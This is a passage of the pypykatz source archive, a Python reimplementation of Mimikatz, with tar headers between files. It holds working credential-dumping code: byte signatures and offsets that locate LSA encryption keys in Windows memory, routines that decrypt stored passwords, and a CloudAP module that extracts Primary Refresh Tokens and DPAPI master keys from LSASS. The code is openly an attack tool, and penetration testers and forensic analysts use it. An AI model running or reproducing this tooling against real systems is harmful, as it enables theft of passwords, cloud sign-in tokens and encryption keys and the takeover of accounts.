KIWI_BCRYPT_HANDLE_KEY class LSA_x64_6(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 67 self.key_pattern.offset_to_DES_key_ptr = -89 self.key_pattern.offset_to_AES_key_ptr = 16 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_7(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 58 self.key_pattern.offset_to_DES_key_ptr = -62 self.key_pattern.offset_to_AES_key_ptr = 23 self.key_struct = KIWI_BCRYPT_KEY8 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_8(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 58 self.key_pattern.offset_to_DES_key_ptr = -89 self.key_pattern.offset_to_AES_key_ptr = 16 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x64_9(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 71 self.key_pattern.offset_to_DES_key_ptr = -89 self.key_pattern.offset_to_AES_key_ptr = 16 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_1(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -76 self.key_pattern.offset_to_AES_key_ptr = -21 self.key_struct = KIWI_BCRYPT_KEY self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_2(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -76 self.key_pattern.offset_to_AES_key_ptr = -21 self.key_struct = KIWI_BCRYPT_KEY self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_3(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -69 self.key_pattern.offset_to_AES_key_ptr = -18 self.key_struct = KIWI_BCRYPT_KEY8 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_4(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -69 self.key_pattern.offset_to_AES_key_ptr = -18 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_5(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -79 self.key_pattern.offset_to_AES_key_ptr = -22 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_6(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -79 self.key_pattern.offset_to_AES_key_ptr = -22 self.key_struct = KIWI_BCRYPT_KEY81 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY class LSA_x86_7(LsaTemplate_NT6): def __init__(self): LsaTemplate_NT6.__init__(self) self.key_pattern = LSADecyptorKeyPattern() self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' self.key_pattern.IV_length = 16 self.key_pattern.offset_to_IV_ptr = 5 self.key_pattern.offset_to_DES_key_ptr = -79 self.key_pattern.offset_to_AES_key_ptr = -22 self.key_struct = KIWI_BCRYPT_KEY81_NEW self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY templates = { 'nt6' : { 'x64' : { '1' : LSA_x64_1(), '2' : LSA_x64_2(), '3' : LSA_x64_3(), '4' : LSA_x64_4(), '5' : LSA_x64_5(), '6' : LSA_x64_6(), '7' : LSA_x64_7(), '8' : LSA_x64_8(), '9' : LSA_x64_9(), }, 'x86': { '1' : LSA_x86_1(), '2' : LSA_x86_2(), '3' : LSA_x86_3(), '4' : LSA_x86_4(), '5' : LSA_x86_5(), '6' : LSA_x86_6(), '7' : LSA_x86_7(), } } } ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/lsa_templates.py0000664000175000017500000000250714543266630023040 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild from pypykatz.alsadecryptor.lsa_template_nt5 import LsaTemplate_NT5 from pypykatz.alsadecryptor.lsa_template_nt6 import LsaTemplate_NT6 class LsaTemplate: def __init__(self): pass @staticmethod def get_template_brute(sysinfo): if sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: return LsaTemplate_NT5.get_template_brute(sysinfo) else: return LsaTemplate_NT6.get_template_brute(sysinfo) elif sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: return LsaTemplate_NT5.get_template_brute(sysinfo) else: return LsaTemplate_NT6.get_template_brute(sysinfo) @staticmethod def get_template(sysinfo): if sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: return LsaTemplate_NT5.get_template(sysinfo) else: return LsaTemplate_NT6.get_template(sysinfo) elif sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: return LsaTemplate_NT5.get_template(sysinfo) else: return LsaTemplate_NT6.get_template(sysinfo)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/package_commons.py0000664000175000017500000001574514543266630023341 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from abc import ABC, abstractmethod from pypykatz import logger from pypykatz.commons.common import hexdump from pypykatz.alsadecryptor.win_datatypes import RTL_AVL_TABLE class Logger: def __init__(self, module_name, package_name, sysinfo): self.package_name = package_name self.module_name = module_name self.sysinfo = sysinfo self.logger = logger def get_level(self): return self.logger.getEffectiveLevel() def log(self, msg, loglevel = 1): first = True for line in msg.split('\n'): if first == True: self.logger.log(loglevel, '[%s] [%s] %s' % (self.package_name, self.module_name, line)) first = False else: self.logger.log(loglevel, '[%s] [%s] %s' % (self.package_name, self.module_name, line)) class PackageTemplate: def __init__(self, package_name, sysinfo = None): self.logger = Logger('template', package_name, sysinfo) self.package_name = package_name self.sysinfo = sysinfo def log(self, msg, loglevel = 6): self.logger.log(loglevel, '%s' % msg) def log_template(self, struct_var_name, struct_template_obj, loglevel = 6): """" Generic logging function to show which template was selected for which structure """ self.logger.log('Selecting template for %s: %s' % (struct_var_name, struct_template_obj.__name__), loglevel) @staticmethod @abstractmethod def get_template(sysinfo): pass class PackageDecryptor: def __init__(self, package_name, lsa_decryptor, sysinfo, reader): self.logger = Logger('decryptor', package_name, sysinfo) self.package_name = package_name self.lsa_decryptor = lsa_decryptor self.sysinfo = sysinfo self.reader = reader def log(self, msg, loglevel = 6): self.logger.log('%s' % msg, loglevel) async def find_signature(self, module_name, signature): """ Searches for a sequence of bytes in the module identified by module_name """ self.log('Searching for key struct signature') fl = await self.reader.find_in_module(module_name, self.decryptor_template.signature, find_first = True) if len(fl) == 0: raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex())) return fl[0] async def log_ptr(self, ptr, name, datasize = None): """ Reads datasize bytes from the memory region pointed by the pointer. ptr = the pointer to be read name = display name for the memory structure, usually the data structure's name the pointer is pointing at """ level = self.logger.get_level() if level > 6 or level == 0: return if not datasize: if level == 5: datasize = 0x10 if level == 4: datasize = 0x20 if level == 3: datasize = 0x50 if level == 2: datasize = 0x100 if level == 1: datasize = 0x200 pos = self.reader.tell() try: await self.reader.move(ptr) data = await self.reader.peek(datasize) await self.reader.move(pos) self.log('%s: %s\n%s' % (name, hex(ptr), hexdump(data, start = ptr))) except Exception as e: self.log('%s: Logging failed for position %s' % (name, hex(ptr))) def decrypt_password(self, enc_password, bytes_expected = False, trim_zeroes = True, segment_size = 128): """ Common decryption method for LSA encrypted passwords. Result be string or hex encoded bytes (for machine accounts). Also supports bad data, as orphaned credentials may contain actual password OR garbage enc_password: bytes The encrypted password bytes bytes_expected: bool :indication that the result of decryption is bytes, no need for encoding trim_zeroes: bool: if a text is expected then this variable tells wether we should trim the trailing zeroes after decryption """ dec_password = None temp = self.lsa_decryptor.decrypt(enc_password, segment_size=segment_size) if temp and len(temp) > 0: if bytes_expected == False: try: # normal password dec_password = temp.decode('utf-16-le') except: # machine password try: dec_password = temp.decode('utf-8') except: try: dec_password = temp.decode('ascii') except: dec_password = temp.hex() else: # if not machine password, then check if we should trim it if trim_zeroes == True: dec_password = dec_password.rstrip('\x00') else: dec_password = temp return dec_password, temp async def walk_avl(self, node_ptr, result_ptr_list): """ Walks the AVL tree, extracts all OrderedPointer values and returns them in a list node_ptr: POINTER : the Parent->RightChild pointer in the AVL tree result_ptr_list: list: the list to store the results in """ node = await node_ptr.read(self.reader, override_finaltype = RTL_AVL_TABLE) if node is None: self.log('AVL walker found empty tree') return if node.OrderedPointer.value != 0: result_ptr_list.append(node.OrderedPointer.value) if node.BalancedRoot.LeftChild.value != 0 : await self.walk_avl(node.BalancedRoot.LeftChild, result_ptr_list) if node.BalancedRoot.RightChild.value != 0 : await self.walk_avl(node.BalancedRoot.RightChild, result_ptr_list) async def walk_list(self, entry_ptr, callback, max_walk = 255, override_ptr = None): """ Iterating over a linked list. Linked lists in packages are circural, so the end of the list is tested is the Flink is pointing to an address already seen. entry_ptr = pointer type object the will yiled the first entry when called read() callback = function that will be called when a new entry is found. callback method will be invoked with one parameter, the entry itself max_walk = limit the amount of entries to be iterating override_ptr = if this parameter is set the pointer will be resolved as if it would be pointing to this structure """ #if entry_ptr.value == 0: # self.log('walk_list called with a NULL pointer! This could mean that parsing is failing, double check this!') # return entries_seen = {} entries_seen[entry_ptr.location] = 1 max_walk = max_walk await self.log_ptr(entry_ptr.value, 'List entry -%s-' % entry_ptr.finaltype.__name__ if not override_ptr else override_ptr.__name__) while True: if override_ptr: entry = await entry_ptr.read(self.reader, override_ptr) else: entry = await entry_ptr.read(self.reader) if not entry: break await callback(entry) max_walk -= 1 self.log('%s next ptr: %x' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , entry.Flink.value)) self.log('%s seen: %s' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , entry.Flink.value not in entries_seen)) self.log('%s max_walk: %d' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , max_walk)) if entry.Flink.value != 0 and entry.Flink.value not in entries_seen and max_walk != 0: entries_seen[entry.Flink.value] = 1 await self.log_ptr(entry.Flink.value, 'Next list entry -%s-' % entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__) entry_ptr = entry.Flink else: break ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2833636 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/0000775000175000017500000000000014647211624021401 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/__init__.py0000664000175000017500000000243114543266630023514 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from .credman.templates import * from .dpapi.templates import * from .dpapi.decryptor import * from .kerberos.templates import * from .kerberos.decryptor import * from .livessp.templates import * from .livessp.decryptor import * from .msv.templates import * from .msv.decryptor import * from .ssp.templates import * from .ssp.decryptor import * from .tspkg.templates import * from .tspkg.decryptor import * from .wdigest.templates import * from .wdigest.decryptor import * from .cloudap.templates import * from .cloudap.decryptor import * __credman__ = ['CredmanTemplate'] __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential'] __kerberos__ = ['KerberosTemplate','KerberosDecryptor'] __msv__ = ['MsvTemplate', 'MsvDecryptor', 'MsvCredential'] __ssp__ = ['SspTemplate', 'SspDecryptor', 'SspCredential'] __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential'] __tspkg__ = ['TspkgTemplate', 'TspkgDecryptor', 'TspkgCredential'] __wdigest__ = ['WdigestTemplate','WdigestDecryptor','WdigestCredential'] __cloudap__ = ['CloudapTemplate', 'CloudapDecryptor','CloudapCredential'] #__kerberos__ __all__ = __cloudap__ + __credman__ + __dpapi__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__ + __kerberos__././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2833636 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/cloudap/0000775000175000017500000000000014647211624023030 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/cloudap/__init__.py0000664000175000017500000000000014543266630025131 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/cloudap/decryptor.py0000664000175000017500000000602614543266630025423 0ustar00webdevwebdevimport json import hashlib from pypykatz.alsadecryptor.package_commons import PackageDecryptor class CloudapCredential: def __init__(self): self.credtype = 'cloudap' self.luid = None self.sid = None self.cachedir = None self.PRT = None self.key_guid = None self.dpapi_key = None self.dpapi_key_sha1 = None def to_dict(self): t = {} t['credtype'] = self.credtype t['cachedir'] = self.cachedir t['PRT'] = self.PRT t['key_guid'] = self.key_guid t['dpapi_key'] = self.dpapi_key t['dpapi_key_sha1'] = self.dpapi_key_sha1 return t def get_masterkey_hex(self): return self.dpapi_key.hex() if isinstance(self.dpapi_key, bytes) else self.dpapi_key def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== Cloudap [%x]==\n' % self.luid t += '\t\tcachedir %s\n' % self.cachedir t += '\t\tPRT %s\n' % self.PRT t += '\t\tkey_guid %s\n' % self.key_guid t += '\t\tdpapi_key %s\n' % self.get_masterkey_hex() t += '\t\tdpapi_key_sha1 %s\n' % self.dpapi_key_sha1 return t class CloudapDecryptor(PackageDecryptor): def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): super().__init__('Cloudap', lsa_decryptor, sysinfo, reader) self.decryptor_template = decryptor_template self.credentials = [] async def find_first_entry(self): position = await self.find_signature('cloudAP.dll',self.decryptor_template.signature) ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) ptr_entry = await self.reader.get_ptr(ptr_entry_loc) return ptr_entry, ptr_entry_loc async def add_entry(self, cloudap_entry): try: cred = CloudapCredential() cred.luid = cloudap_entry.LocallyUniqueIdentifier if cloudap_entry.cacheEntry is None or cloudap_entry.cacheEntry.value == 0: return cache = await cloudap_entry.cacheEntry.read(self.reader) cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','') if cache.cbPRT != 0 and cache.PRT.value != 0: ptr_enc = await cache.PRT.read_raw(self.reader, cache.cbPRT) temp, raw_dec = self.decrypt_password(ptr_enc, bytes_expected=True, segment_size=8) try: temp = temp.decode() except: pass cred.PRT = str(temp) if cache.toDetermine != 0: unk = await cache.toDetermine.read(self.reader) if unk is not None: cred.key_guid = unk.guid cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk, bytes_expected = True) cred.dpapi_key_sha1 = hashlib.sha1(cred.dpapi_key).hexdigest() if cred.PRT is None and cred.key_guid is None: return self.credentials.append(cred) except Exception as e: self.log('CloudAP entry parsing error! Reason %s' % e) async def start(self): try: entry_ptr_value, entry_ptr_loc = await self.find_first_entry() except Exception as e: self.log('Failed to find list entry! Reason: %s' % e) return await self.reader.move(entry_ptr_loc) entry_ptr = await self.decryptor_template.list_entry.load(self.reader) await self.walk_list(entry_ptr, self.add_entry)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/cloudap/templates.py0000664000175000017500000001457114543266630025412 0ustar00webdevwebdevfrom pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild from pypykatz.alsadecryptor.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, DWORD, PVOID, PSID, GUID, DWORD64 from pypykatz.alsadecryptor.package_commons import PackageTemplate class CloudapTemplate(PackageTemplate): def __init__(self): super().__init__('Cloudap') self.signature = None self.first_entry_offset = None self.list_entry = None @staticmethod def get_template(sysinfo): template = CloudapTemplate() if sysinfo.buildnumber <= WindowsBuild.WIN_10_1903.value: return None if sysinfo.architecture == KatzSystemArchitecture.X64: template.signature = b'\x44\x8b\x01\x44\x39\x42' template.first_entry_offset = -9 template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY if sysinfo.buildnumber > WindowsBuild.WIN_10_1903.value: template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2 elif sysinfo.architecture == KatzSystemArchitecture.X86: template.signature = b'\x8b\x31\x39\x72\x10\x75' template.first_entry_offset = -8 template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY else: raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) template.log_template('list_entry', template.list_entry) return template class PKIWI_CLOUDAP_CACHE_UNK(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CLOUDAP_CACHE_UNK() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CLOUDAP_CACHE_UNK return p class KIWI_CLOUDAP_CACHE_UNK: def __init__(self): self.unk0 = None self.unk1 = None self.unk2 = None self.unkSize = None self.guid = None self.unk = None @staticmethod async def load(reader): res = KIWI_CLOUDAP_CACHE_UNK() res.unk0 = await DWORD.load(reader) res.unk1 = await DWORD.load(reader) res.unk2 = await DWORD.load(reader) res.unkSize = await DWORD.loadvalue(reader) res.guid = await GUID.loadvalue(reader) res.unk = await reader.read(64) return res class PKIWI_CLOUDAP_CACHE_LIST_ENTRY(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CLOUDAP_CACHE_LIST_ENTRY() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CLOUDAP_CACHE_LIST_ENTRY return p class KIWI_CLOUDAP_CACHE_LIST_ENTRY: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.LockList = None self.unk1 = None self.unk2 = None self.unk3 = None self.unk4 = None self.unk5 = None self.unk6 = None self.unk7 = None self.unk8 = None self.unk9 = None self.unkLogin0 = None self.unkLogin1 = None self.toname = None self.Sid = None self.unk10 = None self.unk11 = None self.unk12 = None self.unk13 = None self.toDetermine = None self.unk14 = None self.cbPRT = None self.PRT = None @staticmethod async def load(reader): res = KIWI_CLOUDAP_CACHE_LIST_ENTRY() res.Flink = await PKIWI_CLOUDAP_CACHE_LIST_ENTRY.load(reader) res.Blink = await PKIWI_CLOUDAP_CACHE_LIST_ENTRY.load(reader) res.unk0 = await DWORD.load(reader) await reader.align() res.LockList = await PVOID.load(reader) res.unk1 = await PVOID.load(reader) res.unk2 = await PVOID.load(reader) res.unk3 = await PVOID.load(reader) res.unk4 = await PVOID.load(reader) res.unk5 = await PVOID.load(reader) res.unk6 = await DWORD.load(reader) res.unk7 = await DWORD.load(reader) res.unk8 = await DWORD.load(reader) res.unk9 = await DWORD.load(reader) res.unkLogin0 = await PVOID.load(reader) #PCWSTR res.unkLogin1 = await PVOID.load(reader) #PCWSTR res.toname = await reader.read(130) #wchar_t [64 + 1]; await reader.align() res.Sid = await PSID.loadvalue(reader) res.unk10 = await DWORD.load(reader) res.unk11 = await DWORD.load(reader) res.unk12 = await DWORD.load(reader) res.unk13 = await DWORD.load(reader) res.toDetermine = await PKIWI_CLOUDAP_CACHE_UNK.load(reader) res.unk14 = await PVOID.load(reader) res.cbPRT = await DWORD.loadvalue(reader) await reader.align() res.PRT = await PVOID.load(reader) #PBYTE(reader) return res class PKIWI_CLOUDAP_LOGON_LIST_ENTRY(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CLOUDAP_LOGON_LIST_ENTRY() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CLOUDAP_LOGON_LIST_ENTRY return p class KIWI_CLOUDAP_LOGON_LIST_ENTRY: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.LocallyUniqueIdentifier = None self.unk2 = None self.unk3 = None self.cacheEntry = None @staticmethod async def load(reader): res = KIWI_CLOUDAP_LOGON_LIST_ENTRY() res.Flink = await PKIWI_CLOUDAP_LOGON_LIST_ENTRY.load(reader) res.Blink = await PKIWI_CLOUDAP_LOGON_LIST_ENTRY.load(reader) res.unk0 = await DWORD.load(reader) res.unk1 = await DWORD.load(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) res.unk2 = await DWORD64.load(reader) res.unk3 = await DWORD64.load(reader) res.cacheEntry = await PKIWI_CLOUDAP_CACHE_LIST_ENTRY.load(reader) return res class PKIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2 return p class KIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.unk2 = None self.LocallyUniqueIdentifier = None self.unk3 = None self.unk4 = None self.unk5 = None self.cacheEntry = None @staticmethod async def load(reader): res = KIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2() res.Flink = await PKIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2.load(reader) res.Blink = await PKIWI_CLOUDAP_LOGON_LIST_ENTRY_21H2.load(reader) res.unk0 = await DWORD.load(reader) res.unk1 = await DWORD.load(reader) res.unk2 = await DWORD.load(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) res.unk3 = await DWORD.load(reader) await reader.align() res.unk4 = await DWORD64.load(reader) res.unk5 = await DWORD64.load(reader) res.cacheEntry = await PKIWI_CLOUDAP_CACHE_LIST_ENTRY.load(reader) return res././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2833636 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/credman/0000775000175000017500000000000014647211624023012 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/credman/__init__.py0000664000175000017500000000000014543266630025113 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/alsadecryptor/packages/credman/templates.py0000664000175000017500000003525314543266630025374 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import io from pypykatz.commons.common import hexdump from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild from pypykatz.alsadecryptor.win_datatypes import LSA_UNICODE_STRING, ULONG, PVOID, PWSTR, POINTER, LIST_ENTRY from pypykatz.alsadecryptor.package_commons import PackageTemplate class CredmanTemplate(PackageTemplate): def __init__(self): super().__init__('Credman') self.signature = None self.first_entry_offset = None self.list_entry = None @staticmethod def get_template(sysinfo): template = CredmanTemplate() if sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.list_entry = KIWI_CREDMAN_LIST_ENTRY_5 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.list_entry = KIWI_CREDMAN_LIST_ENTRY_60 else: template.list_entry = KIWI_CREDMAN_LIST_ENTRY else: if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: template.list_entry = KIWI_CREDMAN_LIST_ENTRY_5_X86 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: template.list_entry = KIWI_CREDMAN_LIST_ENTRY_60_X86 else: template.list_entry = KIWI_CREDMAN_LIST_ENTRY_X86 template.log_template('list_entry', template.list_entry) return template class PKIWI_CREDMAN_LIST_ENTRY_5_X86(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CREDMAN_LIST_ENTRY_5_X86() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CREDMAN_LIST_ENTRY_5_X86 return p class KIWI_CREDMAN_LIST_ENTRY_5_X86: def __init__(self): self.cbEncPassword = None self.encPassword = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.UserName = None self.cbUserName = None self.Flink = None self.Blink = None self.server1 = None self.unk6 = None self.unk7 = None self.user = None self.unk8 = None self.server2 = None @staticmethod async def load(reader): #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS res = KIWI_CREDMAN_LIST_ENTRY_5_X86() await reader.move(reader.tell() - 32) await reader.align() #not sure if it's needed here # res.cbEncPassword = await ULONG.loadvalue(reader) await reader.align() res.encPassword =await PWSTR.load(reader) res.unk0 = await ULONG.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) res.unk2 = await PVOID.load(reader) res.unk3 = await PVOID.load(reader) res.UserName =await PWSTR.load(reader) res.cbUserName = await ULONG.loadvalue(reader) await reader.align() res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader) res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader) res.server1 =await LSA_UNICODE_STRING.load(reader) res.unk6 = await PVOID.load(reader) res.unk7 = await PVOID.load(reader) res.user =await LSA_UNICODE_STRING.load(reader) res.unk8 = await ULONG.loadvalue(reader) await reader.align() res.server2 = await LSA_UNICODE_STRING.load(reader) return res class PKIWI_CREDMAN_LIST_ENTRY_60_X86(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_CREDMAN_LIST_ENTRY_60_X86() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_CREDMAN_LIST_ENTRY_60_X86 return p class KIWI_CREDMAN_LIST_ENTRY_60_X86: def __init__(self): self.cbEncPassword = None self.encPassword = None self.unk0 = None self.unk1 = None self.unk2 = None self.unk3 = None self.UserName = None self.cbUserName = None self.Flink = None self.Blink = None self.type = None self.unk5 = None self.server1 = None self.unk6 = None self.unk7 = None self.unk8 = None self.unk9 = None self.unk10 = None self.user = None self.unk11 = None self.server2 = None @staticmethod async def load(reader): res = KIWI_CREDMAN_LIST_ENTRY_60_X86() #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS # await reader.move(reader.tell() - 32) await reader.align() #not sure if it's needed here res.cbEncPassword = await ULONG.loadvalue(reader) await reader.align() res.encPassword =await PWSTR.load(reader) res.unk0 = await ULONG.loadvalue(reader) res.unk1 = await ULONG.loadvalue(reader) res.unk2 = await PVOID.load(reader) res.unk3 = await PVOID.load(reader) res.UserName =await PWSTR.load(reader) res.cbUserName = await ULONG.loadvalue(reader) await reader.align() res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader) res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_60.load(reader) res.type = await LSA_UNICODE_STRING.load(reader) res.unk5 = await PVOID.load(reader) 